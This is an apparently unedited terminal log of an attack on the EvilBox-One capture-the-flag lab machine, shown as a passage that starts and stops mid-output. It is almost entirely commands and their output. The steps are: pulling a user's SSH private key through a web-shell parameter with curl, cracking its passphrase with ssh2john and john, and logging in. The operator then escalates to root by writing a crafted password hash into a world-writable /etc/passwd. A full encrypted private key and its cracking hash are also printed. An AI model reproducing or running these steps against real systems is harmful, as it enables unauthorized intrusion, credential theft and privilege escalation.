VUqBwHrmmQVFGLkS2I/<br>8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==<br>-----END RSA PRIVATE KEY-----<br>                                                                                                       <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# ls               <br>apache-user-enum-1.0.txt  directory-list-1.0.txt         directory-list-lowercase-2.3-medium.txt<br>apache-user-enum-2.0.txt  directory-list-2.3-medium.txt  directory-list-lowercase-2.3-small.txt<br>directories.jbrofuzz      directory-list-2.3-small.txt<br>                                                                                                       <br>┌──(root㉿kali)-[/usr/share/dirbuster/wordlists]<br>└─# cd /home/kali/Desktop                                                         <br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# mkdir evilbox<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# cd evilbox           <br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# ls<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# curl http://192.168.56.104:80/secret/evil.php?command=/home/mowree/.ssh/id_rsa &gt;&gt; id_rsa<br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>100  1743  100  1743    0     0   402k      0 --:--:-- --:--:-- --:--:--  425k<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# ls<br>id_rsa<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# cat id_rsa                                                                              <br>-----BEGIN RSA PRIVATE KEY-----<br>Proc-Type: 4,ENCRYPTED<br>DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E<br><br>uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6<br>hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe<br>o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb<br>+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot<br>b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k<br>HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg<br>9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY<br>zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu<br>rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1<br>tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs<br>94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm<br>VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7<br>Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P<br>hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr<br>Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR<br>IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R<br>MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS<br>62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69<br>Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8<br>p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C<br>pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X<br>KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa<br>i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp<br>4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/<br>8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==<br>-----END RSA PRIVATE KEY-----<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# chmod 600 id_rsa <br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# ssh2john id_rsa &gt; key.hash<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# cat key.hash    <br>id_rsa:$sshng$0$8$9FB14B3F3D04E90E$1192$bae426d821487bf7994f9a4dc90ebe2b551aa7f15859cb04925cce36dfb1e003ba1668c5991f11529c0c1eeae66d10ba86aca88aff2f8294204113d83332774204bd9140867600b9f9c5e5342493fc6290392e103103144da723659f04273a1ea3bfbbb4207c664fec5bb6fc7379b80b3d02984e66badf19cae4e70744809460107d98eab2576e8078d9d6dd7b9a575bfa0cd618152629338b3bf81cb80642f938fe0681a46f68277a2300f39a095facbf76aab822bd744289bed2d385b2ea2d6fb03d5d3b9b80496c954126f1f196eb8917df1dcbb5746ca11d769fe92b67a4fe20e4f34e13161314755b1a7851bfe41ed5d3cddbc34016e005fe21d3cab208ec4611a5591ca695ff29c69cebf4ce1959fb3d7add28e9a553cad3b1f86dd2e0f520b5a2662e9ef260ba7312d004c2f2e016ce8439233e646b487e34ea1f52b56d7c967f3a786d30a5be33de3c1209d8ce1ec57ead4a94c8d91f19c84b76dd725e0c155d05dc7a71fa20ee92fc9f79e58aba8794bafccd7d52953d92aac9a26ead1aa7c585bf7f37499bef1756231071c81001a67e65bdab556d20ca27ec1228314a175a4f93c674914a2952d2f9b0f5b47072e943a12829f71fc79db57c2f64dfbd3c3183cd4704a6bf716022e4987fa172bd3aca952d96ef54ade3cb87f5ecf782804cae23a0e216ecef069cf74a06223edc7934a9a90bd64c9841506d323293c8433cc9172cb0666bfcc7559d85a6543e6911d0326ca05f046ff156ed82477efc0512b3949922caa4635d02e814c543cf7237d11a636e97d842cd839b633b31bdbac0d416e1f7fba9edf42bf231ae6ecc7e424fcee7909528bde081d768fbe5e2fc82a0f2d6f3d273b0d0ecbc6f0f86b9164693c8c29cca76d30fc106e43eee3292a80a91861199595f5fca1e8acdc2d610a3aafa772ed87440323eed286b15be70d27d2a7c34f8a34dd4d4fba7da2a9d23833e8836541784b4043df103fce9f9df7c3671a546a32624af92b66a912089370d1464bccc710a6d768360e8b515204f6fa681a6779eae797aacd7461d14d4fe507e13be57c5b36d5ce13faf9132daa05b52f4880801e029d322e77a0e95d0b51f65ffff5a96b5dafb89d67035b61a82a3963c4e28d2bc8d7b39f129d2eb62ebbdc3595689198ea97c5e2ef12f45db124d20b6922d2ed5fbc401cb153559b78507e9cb0e730ab9bef2401a1ebd43f8a4cf95e6c90fb00f0404403ccd78e8fdcc1875fb5ceb766b749bb848e569c825a904336bea0aa96e379084b38bbca7589afa678bd095652e86df9d48318b74339bd485da989f41d78f554e065c684838151fdf86edb348842037feab1d82a70c6801ed6d3262279597d1dac2959487872017c7abf84f7f63c7bd4d1ca73ecccdf637eb1f6e7d9739307d890d3f172911002774b4a4ca653ff65c5e344b3a5112417794436caf6fad66fb3a61834423587d77d609da048855223d672e74da8bdf7ebd87707bcfbc9c9ab8fd65e190df954d85e77444f61f47c5353140a9b9361c6cbafbaa92ff843a0d55714c7769e038364119d14e3a7be1d435359ee3bae72f5bb0c1144f822bcd1d92bafdc85cb26d552a0701eb9a64151462e44b623ff243958c88c52a4190e2b35158a568a3f1da46823f7f61bab5b12239572550c4fc8aeb4083c4b854<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# john key.hash <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])<br>Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes<br>Cost 2 (iteration count) is 2 for all loaded hashes<br>Will run 2 OpenMP threads<br>Proceeding with single, rules:Single<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>Almost done: Processing the remaining buffered candidate passwords, if any.<br>Proceeding with wordlist:/usr/share/john/password.lst<br>unicorn          (id_rsa)     <br>1g 0:00:00:00 DONE 2/3 (2025-01-10 03:10) 7.142g/s 90957p/s 90957c/s 90957C/s surfer..unicorn<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed. <br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# echo &quot;unicorn&quot;    <br>unicorn<br>                                                                                                       <br>┌──(root㉿kali)-[/home/kali/Desktop/evilbox]<br>└─# ssh -i id_rsa mowree@192.168.56.104<br>The authenticity of host &#39;192.168.56.104 (192.168.56.104)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:0x3tf1iiGyqlMEM47ZSWSJ4hLBu7FeVaeaT2FxM7iq8.<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;192.168.56.104&#39; (ED25519) to the list of known hosts.<br>Enter passphrase for key &#39;id_rsa&#39;: <br>Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64<br>mowree@EvilBoxOne:~$ <br>mowree@EvilBoxOne:~$ ls<br>user.txt<br>mowree@EvilBoxOne:~$ cat user.txt <br>56Rbp0soobpzWSVzKh9YOvzGLgtPZQ<br>mowree@EvilBoxOne:~$ whoami<br>mowree<br>mowree@EvilBoxOne:~$ ls -lsa /etc/passwd<br>4 -rw-rw-rw- 1 root root 1398 ago 16  2021 /etc/passwd<br>mowree@EvilBoxOne:~$ openssl passwd -1 passwd<br>$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br>mowree@EvilBoxOne:~$ ^Cho &#39;hacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br>mowree@EvilBoxOne:~$ ls<br>attack  user.txt<br>mowree@EvilBoxOne:~$ cat attack<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br># openssl passwd -1 password &#39;command_output&#39;<br># then attach attacker to this &#39;command_output&#39; <br># attacker:&#39;command_output&#39; &#39;string&#39;<br># Now we need to place &#39;string&#39; into /etc/passwd using echo command <br># echo &#39;string&#39; &gt;&gt; /etc/passwd<br><br># later, we can su attacker! <br><br>mowree@EvilBoxOne:~$ echo &#39;attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br>&gt; &#39; &gt;&gt; /etc/passwd<br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br>mowree@EvilBoxOne:~$ tail etc/passwd<br>tail: no se puede abrir &#39;etc/passwd&#39; para lectura: No existe el fichero o el directorio<br>mowree@EvilBoxOne:~$ cat /etc/passwd | tail -n 1<br><br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br>mowree@EvilBoxOne:~$ su attacker<br>su: el usuario attacker no existe<br>mowree@EvilBoxOne:~$ ping 8.8.8.8<br>connect: La red es inaccesible<br>mowree@EvilBoxOne:~$ ls<br>attack  user.txt                                                                             <br>mowree@EvilBoxOne:~$ cat attack<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br># openssl passwd -1 password &#39;command_output&#39;<br># then attach attacker to this &#39;command_output&#39; <br># attacker:&#39;command_output&#39; &#39;string&#39;<br># Now we need to place &#39;string&#39; into /etc/passwd using echo command <br># echo &#39;string&#39; &gt;&gt; /etc/passwd<br><br># later, we can su attacker! <br><br>mowree@EvilBoxOne:~$ nano attack<br>mowree@EvilBoxOne:~$ cat attack <br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br>attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br># openssl passwd -1 password &#39;command_output&#39;<br># then attach attacker to this &#39;command_output&#39; <br># attacker:&#39;command_output&#39; &#39;string&#39;<br># Now we need to place &#39;string&#39; into /etc/passwd using echo command <br># echo &#39;string&#39; &gt;&gt; /etc/passwd<br><br># later, we can su attacker! <br><br>mowree@EvilBoxOne:~$ echo attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/ &gt;&gt; /etc/passwd<br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br>attacker2:/<br>mowree@EvilBoxOne:~$ echo &quot;attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme&quot; &gt;&gt; /etc/passwd<br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br>attacker2:/<br>attacker2:<br>mowree@EvilBoxOne:~$ echo &#39;attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme&#39; &gt;&gt; /etc/passwd<br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br><br>attacker2:/<br>attacker2:<br>attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme<br>mowree@EvilBoxOne:~$ nano /etc/passwd<br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br>attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme<br>mowree@EvilBoxOne:~$ su attacker2<br>su: el usuario attacker2 no existe<br>mowree@EvilBoxOne:~$ <br>mowree@EvilBoxOne:~$ <br>mowree@EvilBoxOne:~$ echo &#39;alright. how about we replace x at root&#39;<br>alright. how about we replace x at root<br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br>attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme<br>mowree@EvilBoxOne:~$ echo &#39;root:x:0:0:root:/root:/bin/bash&#39;<br>root:x:0:0:root:/root:/bin/bash<br>mowree@EvilBoxOne:~$ echo &#39;let us replace x with our hash then su root&#39;<br>let us replace x with our hash then su root<br>mowree@EvilBoxOne:~$ <br>mowree@EvilBoxOne:~$ <br>mowree@EvilBoxOne:~$ echo &#39;$1$mDHMu235$dP3Xu6DnA067MXmUdbsme&#39; <br>$1$mDHMu235$dP3Xu6DnA067MXmUdbsme<br>mowree@EvilBoxOne:~$ nano /etc/passwd<br>mowree@EvilBoxOne:~$ cat /etc/passwd<br>root:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>_apt:x:100:65534::/nonexistent:/usr/sbin/nologin<br>systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin<br>systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin<br>systemd-resolve:x:103:104:systemd 